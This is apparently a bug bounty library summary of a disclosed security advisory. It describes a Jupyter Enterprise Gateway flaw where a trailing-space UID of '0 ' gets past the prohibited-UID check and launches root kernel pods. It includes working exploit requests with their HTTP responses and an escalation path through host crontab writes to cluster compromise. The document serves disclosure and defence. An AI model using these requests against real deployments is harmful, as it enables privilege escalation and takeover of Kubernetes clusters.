# Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass

Enterprise Gateway's prohibited UID/GID check does substring match, so `KERNEL_UID` of `0 ` (trailing space) bypasses it and launches a root kernel pod.

- Payout: Research
- Severity: critical
- Program: Jupyter Enterprise Gateway
- Found by: ben-elttam
- Disclosed: 2026-06-03
- CVE: CVE-2026-44180
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-chq7-94j8-cj28
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-chq7-94j8-cj28
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:critical tech:kubernetes tech:python technique:source-review vuln:access-control vuln:misconfiguration vuln:privilege-escalation

**Target:** Kubernetes kernel pod launcher (ContainerProcessProxy / kernel-pod.yaml.j2)
**Root cause:** prohibited_uids/gids are plain strings and the check does a substring membership test on the raw user-supplied KERNEL_UID/KERNEL_GID, while the Jinja2 manifest later parses the same value as an integer, discarding whitespace. Validation happens before canonicalization.
**Steps:**
1. Send `POST /api/kernels` with `name=python_kubernetes` and `env={"KERNEL_POD_NAME":"bdawg","KERNEL_UID":"0","KERNEL_GID":"0"}` — returns 403 denied via EG_PROHIBITED_UIDS.
2. Repeat with `"KERNEL_UID":"0 ","KERNEL_GID":"0 "` (trailing space) — returns 201 Created and pod is scheduled.
3. `kubectl exec -it pod/bdawg -- bash; id` shows `uid=0(root) gid=0(root)` instead of default 1000:100 jovyan:users.
**How found:** Reporter read the container.py checks (lines 113/119) and noticed they compare the raw string against the prohibited list, then traced the same value into kernel-pod.yaml.j2 where it is cast to int — the mismatch between string validation and integer parsing suggested whitespace padding would pass validation but still resolve to 0.
**Exploitation:** Any user able to create kernels supplies a whitespace-padded UID/GID to run the kernel pod as root. Combined with a hostPath R/W volume mount, root in the pod allows writing a crontab entry into the mounted host filesystem, yielding code execution on the worker node and potentially the whole cluster.
**Escalation:** Root kernel + hostPath R/W mount → host crontab write → worker node compromise → all workloads and nodes in the cluster.
**Insight:** When a security check compares a raw string but a downstream template/parser coerces it to another type, look for representations (whitespace, leading zeros, `+0`, unicode digits) that differ as strings but normalize to the forbidden value — validate after canonicalization.

## Proof of concept (copied exactly from the original report)

**Exploit request with trailing-space UID/GID bypass**

```
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'

HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff

{
    "reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
    "message": ""
}

#### Exploit bypassing the checks

Using `0 ` with a trailing space, bypasses the check.

xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'

HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff

{
    "id": "17eee032-994f-4dd2-8ade-87169c300a40",
    "name": "python_kubernetes",
    "last_activity": "2025-07-14T14:15:21.468155Z",
    "execution_state": "starting",
    "connections": 0
}
```

